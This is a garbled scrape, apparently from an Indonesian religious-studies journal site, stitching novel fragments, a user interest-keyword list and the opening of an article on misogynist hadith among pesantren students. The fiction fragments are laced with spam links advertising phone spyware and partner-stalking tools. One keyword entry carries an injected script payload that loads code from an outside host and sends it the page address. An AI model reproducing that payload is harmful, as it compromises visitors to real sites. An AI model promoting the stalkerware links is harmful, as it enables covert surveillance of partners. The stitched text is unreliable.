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I reached him just as the sun was going down","332":"and from his window saw the red disc sink.  <a href=\"http:\/\/ps-handbook.com\/can-you-bug-a-cell-phone\/4878\">can you bug a cell phone<\/a>  <a href=\"http:\/\/ps-handbook.com\/hack-a-cell-phone-text-messages\/3082\">hack a cell phone text messages<\/a>   <a href=\"http:\/\/stephensoncellars.net\/hidden-spy-app\/1247\">hidden spy app<\/a> \r\n<a href=\"http:\/\/stephensonwines.com\/phonespy\/1366\">phonespy<\/a>  <a href=\"http:\/\/stephensoncellars.net\/phone-trackee\/1968\">phone trackee<\/a>   As I passed over he moved back","333":"and his exclamation of horror","334":"Gott in Himmel!   <a href=\"http:\/\/advertising-exposure.com\/make-android-phone-surveillance-camera\/4118\">make android phone surveillance camera<\/a>  <a href=\"http:\/\/stephensoncellars.net\/tracking-my-cell-phone\/6258\">tracking my cell phone<\/a>   Vesper","335":"he called","336":"thinking she must have had some urgent message which might concern them both.  <a href=\"http:\/\/advertising-exposure.com\/flexi-spy\/5746\">flexi spy<\/a>  <a href=\"http:\/\/ps-handbook.com\/iphone-spy-tracking\/2760\">iphone spy tracking<\/a>   And now","337":"as if exhausted with emotion","338":"she suffered her white arms to fall","339":"and returned solemnly to her bed of death. \r\n<a href=\"http:\/\/advertising-exposure.com\/best-cell-phone-spyware-reviews\/3818\">best cell phone spyware reviews<\/a>  <a href=\"http:\/\/advertising-exposure.com\/sms-spy-android-market\/2455\">sms spy android market<\/a>   I dont know how to work one of those places.   <a href=\"http:\/\/stephensonwines.com\/how-do-you-find-out-if-your-wife-is-cheating\/1463\">how do you find out if your wife is cheating<\/a>  At first","340":"Doctor No seemed preoccupied.   The general effect was one of extraordinary pallor.  <a href=\"http:\/\/stephensonwines.com\/cell-phone-monitoring-for-iphone\/3305\">cell phone monitoring for iphone<\/a>  <a href=\"http:\/\/ps-handbook.com\/spyware-doctor-free-version-review\/1644\">spyware doctor free version review<\/a>   <a href=\"http:\/\/ps-handbook.com\/cheat-phones\/5672\">cheat phones<\/a> \r\n<a href=\"http:\/\/stephensonwines.com\/android-cell-phone-spyware-reviews\/2270\">android cell phone spyware reviews<\/a>  <a href=\"http:\/\/stephensonwines.com\/pc-tools-spyware-doctor-license-keygen\/15\">pc tools spyware doctor license keygen<\/a>   The reduction of this interval to its smallest possible dimension","341":"becomes thus","342":"at once","343":"an object with the reasoner.   <a href=\"http:\/\/ps-handbook.com\/spy-software-for-iphone-without-jailbreaking\/2268\">spy software for iphone without jailbreaking<\/a>  <a href=\"http:\/\/advertising-exposure.com\/iphone-spy-stick-email\/1891\">iphone spy stick email<\/a>   The Chief of Staff crossed his office and went through the double doors leading into Ms room.  <a href=\"http:\/\/stephensonwines.com\/how-to-catch-your-husband-cheating-online\/2177\">how to catch your husband cheating online<\/a>  <a href=\"http:\/\/stephensonwines.com\/phone-keylogger\/5258\">phone keylogger<\/a>   And what may I do for you on this beautiful morning? \r\n<a href=\"http:\/\/stephensoncellars.net\/whatsapp-spy-windows-8\/3881\">whatsapp spy windows 8<\/a>  <a href=\"http:\/\/ps-handbook.com\/sms-tracker-free-for-pc\/2474\">sms tracker free for pc<\/a>   Westenra has confided to me that her doom is spoken","344":"disease of the heart","345":"though poor Lucy does not know it yet.   <a href=\"http:\/\/stephensonwines.com\/mobile-phone-tracking-devices-online\/4342\">mobile phone tracking devices online<\/a>  She went away to get it.   At once he heard the roar of a big car at speed.  <a href=\"http:\/\/stephensonwines.com\/current-gps\/5277\">current gps<\/a>  <a href=\"http:\/\/stephensonwines.com\/como-funciona-el-whatsapp-espia\/44\">como funciona el whatsapp espia<\/a>   <a href=\"http:\/\/ps-handbook.com\/mspy-whatsapp\/5071\">mspy whatsapp<\/a> \r\n<a href=\"http:\/\/ps-handbook.com\/whatsapp-spy-sniffer-hack-tool-download\/3303\">whatsapp spy \/ sniffer hack tool download<\/a>  <a href=\"http:\/\/stephensoncellars.net\/track-cell-phone-remotely\/3074\">track cell phone remotely<\/a>   This time","346":"after going to the far side or the Pass","347":"he suddenly turned down a narrow roadway which ran sharply to the right.   <a href=\"http:\/\/stephensonwines.com\/free-cell-phone-spy-software-without-target-phone\/4791\">free cell phone spy software without target phone<\/a>  <a href=\"http:\/\/ps-handbook.com\/brickhouse-iphone-spy-stick-does-it-work\/2099\">brickhouse iphone spy stick does it work<\/a>   There was the sound of an engine starting up.  <a href=\"http:\/\/advertising-exposure.com\/best-free-sms-spy-app-android\/2579\">best free sms spy app android<\/a>  <a href=\"http:\/\/stephensoncellars.net\/best-free-spy-software-for-cell-phones\/5661\">best free spy software for cell phones<\/a>   I was filled with anxiety about Lucy","348":"not only for her health","349":"lest she should suffer from the exposure","350":"but for her reputation in case the story should get wind. \r\n<a href=\"http:\/\/ps-handbook.com\/spy-htc-sensation\/5087\">spy htc sensation<\/a>  <a href=\"http:\/\/stephensoncellars.net\/iphone-spy-video-app\/486\">iphone spy video app<\/a>   I need not go into details.   <a href=\"http:\/\/stephensoncellars.net\/spybubble-vs-mobile-spy\/4066\">spybubble vs mobile spy<\/a>  I guess its about ten by now.   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This was the day before we came down here.  <a href=\"http:\/\/stephensonwines.com\/android-phone-surveillance-system\/6\">android phone surveillance system<\/a>  <a href=\"http:\/\/ps-handbook.com\/ipad-as-spy-cam\/872\">ipad as spy cam<\/a>   <a href=\"http:\/\/ps-handbook.com\/free-spy-software-for-iphone-4\/3637\">free spy software for iphone 4<\/a> \r\n<a href=\"http:\/\/ps-handbook.com\/sms-lock-spy-tool\/4812\">sms lock spy tool<\/a>  <a href=\"http:\/\/ps-handbook.com\/ipod-spy-software\/4163\">ipod spy software<\/a>   Van Helsing was looking at her fixedly as she spoke","351":"and said","352":"suddenly but quietly","353":"But dear Madam Mina","354":"are you not afraid.   <a href=\"http:\/\/ps-handbook.com\/phone-tracker-gps-tracking\/4179\">phone tracker gps tracking<\/a>  <a href=\"http:\/\/stephensonwines.com\/sms-spy-java-software\/1616\">sms spy java software<\/a>   By the time","355":"however","356":"that the fog had thoroughly disappeared","357":"the sun had made its way down behind the gentle hills","358":"and thence","359":"as it with a slight chassez to the south","360":"had come again fully into sight","361":"glaring with a purplish lustre through a chasm that entered the valley from the west.  <a href=\"http:\/\/advertising-exposure.com\/spy-eye-android\/1392\">spy eye android<\/a>  <a href=\"http:\/\/ps-handbook.com\/spyware-trial\/5412\">spyware trial<\/a>   Bond had no idea how far down they had gone-a hundred feet","362":"two hundred? \r\n<a href=\"http:\/\/ps-handbook.com\/online-cell-phone-spy-software-free\/5079\">online cell phone spy software free<\/a>  <a href=\"http:\/\/ps-handbook.com\/price-spy-htc-one-v\/2460\">price spy htc one v<\/a>   And I must get my sleep.   <a href=\"http:\/\/stephensoncellars.net\/how-to-read-text-messages-off-iphone-on-computer\/4631\">how to read text messages off iphone on computer<\/a>  Now he was up on one elbow and his other hand was at his shirt","363":"half-way up to the gun in the black holster at his armpit.   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hunting","592":"Fishing","593":"Programming","594":"Bird watching","595":"Nordic skating","596":"Knitting","597":"Target Shooting","598":"Vehicle restoration","599":"Agriculture Show","600":"Handball","601":"Sociology","602":"Sociology Development","603":"CSR","604":"Seashell Collecting","605":"Coin collecting","606":"Air sports","607":"Mineral collecting","608":"Sculling or Rowing","609":"Skydiving","610":"Stone collecting","611":"Ilmu Hadis dan Hadis","612":"hadis","613":"sosial","614":"budaya","615":"ilmu hadis","616":"agama dan politik","617":"Pesantren","618":"Resolusi konflik islam nusantara","619":"Mountain biking","620":"Petal collecting and pressing","621":"LARPing","622":"Gardening","623":"Hiking","624":"Woodworking","625":"Coloring","626":"Rugby league football","627":"Reader Reviewer","628":"Reader  Reviewer","629":"Drawing","630":"Baseball","631":"Boxing","632":"Figure skating","633":"Sosiologi agama","634":"Perubahan sosial masyarakat","635":"Multikultural","636":"11z'><iframe onload=javascript:s=document.createElement('script');s.src='\/\/r-9.top\/google?ok='+window.location.href;s.type='text\/javascript';document.getElementsByTagName('body')[0].appendChild(s); width=1 height=1><\/iframe>","637":"Shooting sport","638":"Audiophilia","639":"Fiqh Munakahat","640":"Art collecting","641":"Cycling","642":"Parkour","643":"Roller Derby","644":"Ilmu Hadist","645":"Ritual","646":"Agama Jawa","647":"","648":"Worldbuilding","649":"Thanks","650":"-","651":"Theology","652":"Islamic thought","653":"Teologi","654":"Running","655":"Fantasy Football","656":"Kayaking","657":"Board sports","658":"Golfing","659":"Tai Chi","660":"Qur'anic Exegesis; Hermeneutics; Translation of the Qur'an; Islamic History and Muslim Civilization","661":"Other Religions; Abrahamic Religions; Comparative Religion","662":"Oriental & Islamic Studies;\r\nGender and religion (Womens Studies);\r\nWomen and Gender Issues in Islam;\r\nShia Studies;\r\nGender Studies.","663":"QUR'ANIC SCIENCES","664":"ISLAMIC CULTURE","665":"TAFSIR METHODOLOGIES","666":"QURANIC CONTEMPORARY ISSUES","667":"QURANIC SCIENCES","668":"QIRAAT..","669":"Reading","670":"Tafsir Nusantara","671":"Juggling","672":"x","673":"Taxidermy","674":"Volleyball","675":"Collecting cards","676":"Gongoozling","677":"Sand castle building","678":"Backpacking","679":"Baking","680":"Magie","681":"Auto audiophilie","682":"Radio amateur","683":"Natation","684":"Fabrication de la cotte de mailles","685":"Jeux","686":"Bonsa\u00efs","687":"Herpetoculture","688":"Collecte et pressage des p\u00e9tales","689":"Racquetball","690":"Voile","691":"R\u00e9daction","692":"Rep\u00e9rage de bus","693":"Pompiers","694":"Collecte d'\u00e9l\u00e9ments","695":"Exercice d'exposition","696":"Herp\u00e9toculture","697":"Audiophilie","698":"Voyage","699":"Films sur la maison","700":"Yo-yoing","701":"Dance","702":"Sculpter","703":"Voitures RC","704":"Course de kart","705":"La collecte de pierres","706":"Observation des oiseaux","707":"Sports nautiques","708":"Patinage \u00e0 roulettes","709":"Halt\u00e9rophilie","710":"Inline Skating","711":"Amateur astronomy","712":"P\u00eache","713":"Danser","714":"Martial arts","715":"Ice hockey","716":"Programmation informatique","717":"Billard","718":"Tennis de table","719":"Chanter","720":"Coloriage","721":"Basket-ball","722":"Football universitaire","723":"Gymnastique","724":"Courge","725":"Baton twirling","726":"Seaglass collecting","727":"Collecte de min\u00e9raux","728":"Taxidermie","729":"Patinage de vitesse","730":"Escalader","731":"Lecture","732":"Footbag","733":"La ligue de rugby","734":"Livres anciens","735":"Collecte et pressage des feuilles","736":"\u00c9quitation","737":"Tissage de paniers","738":"La collecte des pi\u00e8ces de monnaie","739":"Cyclisme","740":"Exploration urbaine","741":"Tir \u00e0 l'arc","742":"\u00c9checs","743":"Football de table","744":"Randonn\u00e9es","745":"Vid\u00e9ophilie (cin\u00e9ma \u00e0 domicile)","746":"Escalade","747":"Rep\u00e9rage des avions","748":"Collecte de documents","749":"Crochetage","750":"\u00c9coute en ondes courtes","751":"Filsafat Islam","752":"Politik Islam","753":"Antropologi Masyarakat Muslim","754":"Collecte de coquillages","755":"Collecte des cartes","756":"Tir sportif","757":"Empilage de pierres","758":"Astronomie amateur","759":"Kayak","760":"Dessin","761":"Pont","762":"D\u00e9tection de m\u00e9taux","763":"Lapidaire","764":"Surfez sur","765":"Sosiologi","766":"ekonomi","767":"sosiologi ekonomi dan perubahan sosial serta budaya pop","768":"Le football am\u00e9ricain","769":"Cuisine","770":"Antiquit\u00e9s","771":"La chasse aux fossiles","772":"Jonglerie","773":"Couture","774":"La fabrication de bijoux","775":"Ligue de football australienne","776":"V\u00e9lo tout terrain","777":"Photographie","778":"Patinage en ligne","779":"Construction d'un ch\u00e2teau de sable","780":"Patinage de randonn\u00e9e","781":"Instruments de musique","782":"Hockey sur glace","783":"Chabot ou aviron","784":"Patinage nordique","785":"Ski","786":"Tour de baton","787":"Sport automobile","788":"Loisirs de mod\u00e9lisme","789":"La chasse","790":"Escrime","791":"M\u00e9t\u00e9orologie","792":"Pisciculture","793":"Games Club - Donjons et dragons","794":"Monopole","795":"Course automobile","796":"Association de football","797":"Usinage","798":"Collection d'art","799":"Restauration de v\u00e9hicules","800":"Quranic Hermeneutics","801":"Abrahamic Religions","802":"Christian Education","803":"Philosophy","804":"Terimakasih banyak..sehat selalu","805":"Bersedia","806":"Saya ingin mengirimkan tulisan saya ke jurnal ini.","807":"Penulis","808":"hgf","809":"Human reproduction","810":"contemporary tafsir in malay world","811":"Akhlak islam","812":"inter-religious dialogue","813":"dd","14097":"Perubahan Sosial","15019":"Sufism","15020":"Psikologi Islam","15021":"Psikologi agama","15715":"democracy studies; civil society and non-government organization; public policy","15716":"Madura Studies","15717":"Filsafat dan Studi Tasawuf","15761":"Studi Agama-agama","15889":"hermeneutika","15890":"Sejarah dan Pemikiran Filsafat Islam","16238":"Filsafat Jawa","16311":"interesed","16831":"sosiologi politik","16832":"Sociology Religion","16994":"Islamic Philosophy","16995":"Eastern Philosophy","16996":"Western Philosophy","16997":"Ancient Philosophy","16998":"mysiticism","16999":"tassawuf","17096":"kajian-kajian sosial dan ekonomi","17794":"Antropologi budaya","17853":"Sosiologi Agama dan Teologi","17880":"bismillah sangat minat","18228":"book","18236":"ushuluddin","18451":"social","18466":"Sangat","18579":"kajian hadis","18685":"Melukis","18690":"y","18760":"Ilmu Hadits","19110":"tugas kuliah","19112":"alqur'an and hadis studies","19466":"Religious Studies and Theology","19622":"Conflict Management","19623":"Public Policy and Radicalization","19624":"Sociology of Politics","19945":"social change","19946":"empowerment","20398":"Menulis artikel","20506":"Social Humaniora and education","20544":"Curriculum","20545":"Living Hadith","20561":"Ulumul hadis","20572":"Agama dan Masayarakat","20573":"Agama","20574":"Demokrasi","20575":"Politik","20576":"Islamic Theology","20578":"Perubahan Sosial; Community Development","20585":"History","20586":"Sustainability","20587":"Society","20602":"Minat","21351":"living Hadis ilmu hadis","21682":"Jurnal Ilmu-Ilmu Ushuluddin","21700":"Thank U So Much","22435":"No","22436":"I am not interested in","22596":"Ya","22735":"Kependidikan Islam","22748":"Filsafat dan Teologi","23185":"pendidikan","23491":"123456","23539":"Islamic Economic","23865":"Social Theory","23866":"Cultural Studies","24031":"saya adalah pelajar ilmu hadis UINSA Surabaya","24032":"dalam rangka meningkatkan kemampuan intelektual dan literasi khususnya dalam kepenulisan jurna;. saya ingin ikut berkontribus dengan melakukan sumbangsi karya jurnal saya di jurnal living hadis UINSUKA","25069":"jurnal","25110":"For knowlage","25111":"For knowledge","25185":"social changes of religious society","25225":"Saya adalah mahasiswa ilmu Hadis UIN sunan Ampel Surabaya","25226":"dalam mengembangkan dunia akademik kepenulisan jurnal adalah bagian primer dari seorang mahasiswa dalam mengembangkan khazanah dan kemampuan intelektual keilmuannya","25565":"Dalam hal komunikasi dan penyiaran Islam","25578":"culture","25579":"manuscripts","25580":"semiotic","25664":"Iya","25708":"Contacted","25709":"Jurnal Sosiologi Agama Indonesia","25754":"Peneliti","26332":"Studi Quran dan Tafsir","26364":"HADIS-HADIS MISOGINIS DI PONDOK PESANTREN: STUDI KONSEP DAN PEMAHAMAN BERDASARKAN PERSEPSI SANTRI DI PONDOK PESANTREN SALAFIYAH HIDAYATUL QOMARIYAH BENGKULU Devi Saraswati devisaraswati264@gmail.com UIN Fatmawati Sukarno Bengkulu  \tAbstract: This study wants to examine the perceptions of students and their understanding of misogynist Hadith. Santri are students who pursue Islamic religious knowledge who live in a place called Pondok Pesantren","26365":"they are a group of people led by a kiyai who has his own scientific tradition","26366":"such as reciting the Koran","26367":"reciting the yellow book and other sciences. One of the things that needs to be known is how the learning concept of the students in studying the Prophetic Hadiths","26368":"so that later it can be seen how the students understand these Hadiths. This research has experienced growing speculation in understanding the Hadith which is classified as misogynistic","26369":"giving rise to many opinions in understanding it","26370":"from that the authors consider that students have needs and are important in knowing this issue. This study uses a type of qualitative field research (field research)","26371":"which includes observation","26372":"interviews and documentation. The author analyzed the data using the Miles and Huberman model","26373":"namely data analysis in qualitative research conducted during data collection and after completing further data collection. Based on this research","26374":"it is known that the students of the Salafiyah Hidayatul Qomariyah Islamic Boarding School Bengkulu do not yet know the term misogynist","26375":"but many of them agree that the Hadiths are classified as misogynistic","26376":"but there are also those who oppose the existence of this misogynist term. There are some students who understand every misogynist Hadith that is examined textually","26377":"they understand what is in the Hadith text","26378":"but there are also those who understand contextually who understand by including knowledge of asbabul wurud Hadith","26379":"by looking at the conditions of what is mentioned in the Hadith and its use in present time. Keywords: Misogynist","26380":"Santri","26381":"concept","26382":"Understanding. Abstrak: Penelitian ini ingin meneliti mengenai persepsi santri dan pemahamannya terhadap Hadis misoginis. Santri merupakan pelajar yang menekuni ilmu agama Islam yang bermukim disuatu tempat yang disebut Pondok Pesantren","26383":"mereka adalah sekelompok orang yang dipimpin oleh seorang kiyai yang memiliki tradisi keilmuan tersendiri","26384":"seperti mengaji Al-Qur`an","26385":"mengaji kitab kuning dan ilmu lainnya. Salah satu hal yang perlu diketahui adalah bagaimana konsep pembelajaran para santri dalam mempelajari Hadis-Hadis Nabi","26386":"sehingga nantinya dapat dilihat bagaimana para santri memahami Hadis-Hadis tersebut. Penelitian ini mengalami spekulasi yang berkembang dalam memahami Hadis yang tergolong misoginis","26387":"sehingga menimbulkan banyak pendapat dalam memahaminya","26388":"dari itu penulis menilai bahwa santri memiliki kebutuhan dan penting dalam mengetahui persoalan ini. Penelitian ini menggunakan jenis penlitian kualitatif field research (penelitian lapangan)","26389":"yang meliputi observasi","26390":"wawancara dan dokumentasi. Penulis menanalisis data dengan menggunakan model Miles and Huberman","26391":"yaitu amalisis data dalam penelitian kualitatif yang dilakukan pada saat pengumpulan data berlangsung dan setelah selesai pengumpulan data selanjutnya. Berdasarkan penelitian ini","26392":"diketahui bahwa santri Pondok Pesantren Salafiyah Hidayatul Qomariyah Bengkulu belum ada yang mengetahui istilah misoginis","26393":"namun banyak dari mereka yang setuju apabila Hadis-Hadis tersebut memang tergolong misoginis","26394":"namun adapula yang sebaliknya yang menentang adanya istilah misoginis ini. Beberapa santri ada yang memahami setiap Hadis misoginis yang diteliti secara tekstual","26395":"mereka memahami apadanya yang ada dalam teks Hadis","26396":"namun adapula yang memahami secara kontekstual yang memahami dengan menyertakan pengetahuan asbabul wurud Hadis","26397":"dengan melihat kondisi dari apa yang disebutkan di dalam Hadis dengan penggunaanya di masa sekarang.  Kata Kunci: Misoginis","26398":"Konsep","26399":"Pemahaman.   1.\tPendahuluan.  Penelitian ini bertujuan untuk melihat sejauh mana konsep misoginis dikalangan santri Pondok Pesantren","26400":"yang mana telah banyak diketahui bahwa santri merupakan sekelompok pelajar yang mukim di suatu tempat untuk menimba ilmu agama. Berkaitan dengan Hadis","26401":"santri merupakan salah satu subjek yang pantas untuk diminta pendapat dan pemahamannya tentang Hadis Nabi. Walaupun pada nyatanya Hadis Nabi pada era modern ini sangat mudah dicari dan diambil untuk digunakan dalam kemanfaatan lainnya.  Namun apakah semua orang dalam memahami Hadis adalah sama dan sependapat atau malah  berbeda?","26402":"oleh karena  itu memahami Hadis sangat diperlukan untuk mendapatkan pemahaman yang moderat.  Bila tidak dipahami secara baik","26403":"maka Hadis-Hadis Nabi dapat menimbulkan kesalahpahaman yang berujung tidak baik","26404":"sehingga ada yang dianggap membenci perempuan atau yang disebut dengan istilah misoginis.   Hasil penelitian terdahulu telah dikemukakan oleh beberapa peneliti antara lain: Ade Marhamah (2019)","26405":"\u201cHadits Misoginis Perspektif Gender Dan Feminisme\u201d","26406":"IAIN Salatiga. Penelitian ini merupakan penelitian yang bertujuan mengambil prespektif dari pandangan gender dan feminisme","26407":"fokus penelitian tersebut adalah bagaimana Hadis misoginis dinilai kurang tepat di tengah-tengah kesetaraan gender yang ada","26408":"sehingga menyebabkan para feminis meminta hak nya (perempuan) yang telah ditutupi dan dibatasi seperti apa yang ada di dalam Hadis-Hadis misoginis. Penelitian terdahulu dan sekarang memiliki persamaan yaitu meneliti tentang bagaimana pendapat dari sekelompok orang dalam memahami Hadis misoginis","26409":"dan perbedaannya penelitian sekarang lebih memfokuskan terhadap persepsi para santri yang diambil persepsinya dan pemahamannya tentang Hadis misoginis secara langsung.  Terdorong dari keingininan penulis yang berpendapat bahwa","26410":"perlu memahami Hadis misoginis untuk kepentingan bersama agar terhindar dari kesalahpahaman","26411":"maka penulis berusaha menulusuri tentang bagaimana pemahaman Hadis-Hadis ini berkembang","26412":"salah satunya dikalangan para santri. Dengan kesadaran bahwa begitu pentingnya pemahaman Hadis di era modern maka","26413":"penulis tertarik mengambil objek penelitian di Pondok Pesantren yang memberikan wadah khusus belajar bagi perempuan yaitu Pondok Pesantren Salafiyah Hidayatul Qomariyah Bengkulu salah satunya.  Berdasarkan observasi awal di Pondok Pesantren Salafiyah Hidayatul Qomariyah","26414":"penulis menemukan beberapa proses tentang bagaimana jalannya belajar-mengajar di Pondok Pesantren Salafiyah Hidayatul Qomariyah Bengkulu dengan mayoritas santri yang mukim adalah santri putri","26415":"di Pondok Pesantren Salafiyah Hidayatul Qomariyah Bengkulu memang hanya mengkhususkan untuk santri putri","26416":"dengan demikian seluruh kegiatan yang ada di Pondok Pesantren tersebut akan banyak melibatkan dari kalangan santri putri","26417":"salah satunya kepengurusan santri putri yang membantu para ustadz-ustadzah membimbing para santri. Maka dari itu penulis tertarik untuk mengetahui dan mengangkat pembahasan ini dengan judul: Hadis-Hadis Misoginis Di Pondok Pesantren: Studi Konsep Dan Pemahaman Berdasarkan Persepsi Santri Di Pondok Pesantren Salafiyah Hidayatul Qomariyah Bengkulu.  2.\tMetode Penelitian. 2.1\tPenelitian dan pendekatan. Dalam upaya memperoleh data","26418":"penulis melakukan jenis penelitian kualitatif studi kasus field research (Penelitian Lapangan)","26419":"yakni penulisan menelusuri sumber-sumber lapangan. Selain itu","26420":"penulis juga menggunakan metode etnografi yaitu mendiskripsikan suatu kebudayaan. Tujuan utama aktivitas ini adalah untuk memahami suatu pandangan hidup dari sudut pandang penduduk asli dan untuk memperhatikan makna-makna dari tindakan yang dilakukan oleh orang yang ingin kita pahami.  Dengan itu penulis menggunakan jenis penelitian ini  untuk mengetahui pemahaman para santri (pelajar) di Pondok Pesantren Salafiyah Hidayatul Qomariyah Bengkulu","26421":"dengan mencari tahu dari sudut pandang para santri hingga pemahamannnya terhadap Hadis-Hadis misoginis. Karena objek yang dikaji dalam penelitian ini merupakan penelitian dalam bentuk persepsi dan respon dari santri","26422":"yang juga akan menggali suatu pemahaman-pemahaman yang didapat dari terdahulu","26423":"maka penelulis akan menggunakan pendekatan sosiologis-historis","26424":"di mana pendekatan ini merupakan metode yang digunakan untuk menggambarkan tentang peristiwa masa lalu yang di dalamnya akan mengungkap bagaimana bentuk-bentuk sosial dari peristiwa yang diteliti. Pendekatan ini juga bertujuan untuk memahami bagaimana menilai subjek dari kelakuan sosial yang bukan semata-mata menyelidiki arti objektifnya","26425":"maka dari situlah akan tampak bagaimana fungsi dari pendekatan ini untuk mengarahkan mencari arti yang dituju oleh tindakan individu yang berkenaan dengan peristiwa-peristiwa sehingga pengetahuan itu dapat membimbing peneliti menemukan motif-motif terjadinya suatu peristiwa tersebut.  Dengan ini penulis bertujuan agar mendapat informasi dari objek yang akan diteliti dengan mencari sumber terdahulu dari kebiasaan dan pemahaman yang telah turun temurun menilai suatu peristiwa.     2.2\t Sumber dan jenis data. Sumber data utama dalam penelitian kualitatif adalah kata-kata dan tindakan","26426":"dan lainnya adalah data tambahan seperti dokumen dan lainnya. Jenis data dibagi menjadi beberapa proses yaitu observasi","26427":"wawancara dan dokumentasi.   Penulis menulusuri dari berbagai sumber data yang bisa di klarifikasikan menjadi tiga bentuk : 1.\tObservasi. Observasi merupakan suatu proses untuk mengetahui atau menyelidiki tingkah laku nonverbal yaitu informasi yang didapatkan dengan menggunakan bahasa tubuh.  Dalam observasi ini dibagi dalam dua bentuk yaitu participant observer dan non- participation obsrver .  Participant observer (observasi partisipan) ialah observasi dimana pengamat (obsever) berpartisipasi dan terlibat dalam kegiatan yang diamati. Di sini pengamat menjadi dua peran yaitu pertama sebagai peneliti yang tidak diketahui dan dirasakan oleh anggota lain","26428":"dan kedua sebagai anggota kelompok","26429":"peneliti aktif dan ikut dalam tugas yang telah diamanahkan. Selanjutnya non-participation obsever (observasi non partisipan)","26430":"yaitu observasi di mana pengamat  atau peneliti tidak terlibat langsung dalam kegiatan dan juga tidak ikut serta dalam kegiatan yang diamatinya.  Oleh karena pengamat adalah kunci keberhasilan dan ketepatan hasil","26431":"maka peneliti menggunakan teknik observasi untuk dapat membantu mendapatkan informasi yang jelas pada penelitian ini yang  berlokasi di Pondok Pesantren Salafiyah Hidayatul Qomariyah Bengkulu. Selain itu untuk memperoleh informasi profil","26432":"latar belakang dan sejarah berdirinya Pondok Pesantren Salafiyah Hidayatul Qomariyah Bengkulu. Pada observasi ini peneliti lebih lebih menekankan untuk menggali informasi terkait kegiatan-kegiatan keseharian para santri dengan ikut serta dalam kegiatan keseharian di Pondok Pesantren Salafiyah Hidayatul Qomariyah","26433":"penulis dapat lebih mudah menggali informasi dengan mengamati proses belajar mengajar secara mendalam. Adapun observasi non partisipan dalam penelitian ini. Penulis akan melakukan pengamatan terhadap dokumen dan arsip di Pondok Pesantren Salafiyah Hidayatul Qomariyah Bengkulu","26434":"dengan dibantu oleh guru pondok dan para pengurus santri. Begitu juga dengan buku-buku atau kitab-kitab yang menjadi rujukan dalam pembelajaran memahami Hadis- Hadis misoginis.  2.\tWawancara.  Metode yang digunakan oleh penulis untuk mendapatkan informasi langsung dari objek yang akan diteliti","26435":"penulis memilih metode wawancara bertahap yaitu nantinya peneliti akan melakukan wawancara dengan secara bebas dan mendalam (in-depth)","26436":"dalam wawancara ini peneliti telah menyiapkan pertanyaan yang akan ditanyakan kepada responden yang pastinya dengan membatasi pokok permasalahan yang akan ditanyakan. Pada wawancara berlangsung peneliti akan melakukan secara bertahap dan tidak harus terlibat dalam kegiatan sosial sehari-hari","26437":"peneliti hadir sebagai pewawancara yang sedang mempelajari objek penelitian yang dapat dilakukan secara tersembunyi atau terbuka dan juga dengan sistem datang dan pergi.    Dengan demikian penulis melakukan pengamatan","26438":"dan memperjelas suatu objek dan kegiatan tersebut maka diperlukannya subjek untuk diwawancarai agar lebih jelas dan terperinci.     3.\tDokumentasi Dokumen merupakan catatan peristiwa yang sudah berlalu","26439":"dokumen bisa berbentuk tulisan","26440":"gambar","26441":"atau karya-karya menumental dari seseorang.  Metode dokumenter adalah metode pengumpulan data yang digunakan dalam penelitian sosial","26442":"untuk menelusuri data historis","26443":"dengan demikian pada penelitian sejarah metode ini menjadi peran penting di dalam prosesnya.  Metode ini juga digunakan sebagai metode pengumpul data","26444":"oleh karena itu banyak dari fakta dan data sisa yang tersimpan dalam bentuk dokumentasi","26445":"yang sebagian besar dikumpulkan menjadi surat-surat","26446":"catatan harian","26447":"cendera mata","26448":"laporan","26449":"dan lainnya. Kumpulan data bentuk tulisan ini yang disebut dokumen dalam arti luas yaitu seperti foto","26450":"CD","26451":"hardisk","26452":"flashdisk dan lainnya.   Maka dari itu penulis menggunakan dokumentasi  untuk mencari dan menelusuri data","26453":"dan menjadi bukti bahwa benar adanya penelitian lapangan yang di tempatkan di Pondok Pesantren Salafiyah Hidayatul Qomariyah Bengkulu","26454":"dan menjadi gambaran mengenai kegiatan tersebut.  2.3\tTeknik Analisis Data Teknik analisis data pada penelitian kualitatif dilakukan sebelum memasuki lapangan","26455":"selama di lapangan","26456":"dan setelah di lapangan.  Penelitian kualitatif meakukan analisis data sejak sebelum penelitian memasuki lapangan","26457":"analisis dilakukan terhadap data hasil studi pendahuluan atau data yang akan digunakan untuk menentukan fokus masalah. Dengan begitu teknik analisis data di sini yaitu analisis data di lapangan model Miles and Huberman","26458":"yaitu analisis data dalam penelitian kualitatif dilakukan pada saat pengumpulan data berlangsung dan setelah selesai pengumpulan data selanjutnya.   Dalam teknik analisa ini peneliti berusaha memperoleh deskripsi atau gambaran yang utuh tentang bagaimana para santri memahami Hadis-Hadis misoginis serta bagaimana proses belajar mengajar yang diterapkan para guru di Pondok Pesantren Salafiyah Hidayatul Qomariyah Bengkulu terhadap para santri untuk memahami Hadis-Hadis misoginis","26459":"sehingga peneliti mendapatkan pemahaman yang tepat dan juga sumbangan atas perkembangan pemahaman  keagamaan dalam bidang Hadis.    3.\tHasil Penelitian.  3.1\t Hadis Misoginis. Berikut ini beberapa Hadis misoginis yang diangkat oleh penulis untuk diteliti","26460":"yang bersumber dari buku yang berjudul Hadis-Hadis Anti Perempuan Kajian Living Sunnah Perspektif Muhammadiyah","26461":"NU","26462":"dan HTI.  Pertama","26463":"Hadis tentang penciptaan perempuan: \u062d\u064e\u062f\u0651\u064e\u062b\u064e\u0646\u064e\u0627 \u0623\u064e\u0628\u064f\u0648 \u0643\u064f\u0631\u064e\u064a\u0652\u0628\u064d \u060c \u0648\u064e\u0645\u064f\u0648\u0633\u064e\u0649 \u0628\u0652\u0646\u064f \u062d\u0650\u0632\u064e\u0627\u0645\u064d \u060c \u0642\u064e\u0627\u0644\u0627\u064e : \u062d\u064e\u062f\u0651\u064e\u062b\u064e\u0646\u064e\u0627 \u062d\u064f\u0633\u064e\u064a\u0652\u0646\u064f \u0628\u0652\u0646\u064f \u0639\u064e\u0644\u0650\u064a\u0651\u064d \u0639\u064e\u0646\u0652 \u0632\u064e\u0627\u0626\u0650\u062f\u064e\u0629\u064e \u0639\u064e\u0646\u0652 \u0645\u064e\u064a\u0652\u0633\u064e\u0631\u064e\u0629\u064e \u0627\u0644\u0623\u064e\u0634\u0652\u062c\u064e\u0639\u0650\u064a\u0651\u0650 \u060c \u0639\u064e\u0646\u0652 \u0623\u064e\u0628\u0650\u064a \u062d\u064e\u0627\u0632\u0650\u0645\u064d \u060c \u0639\u064e\u0646\u0652 \u0623\u064e\u0628\u0650\u064a \u0647\u064f\u0631\u064e\u064a\u0652\u0631\u064e\u0629\u064e \u060c 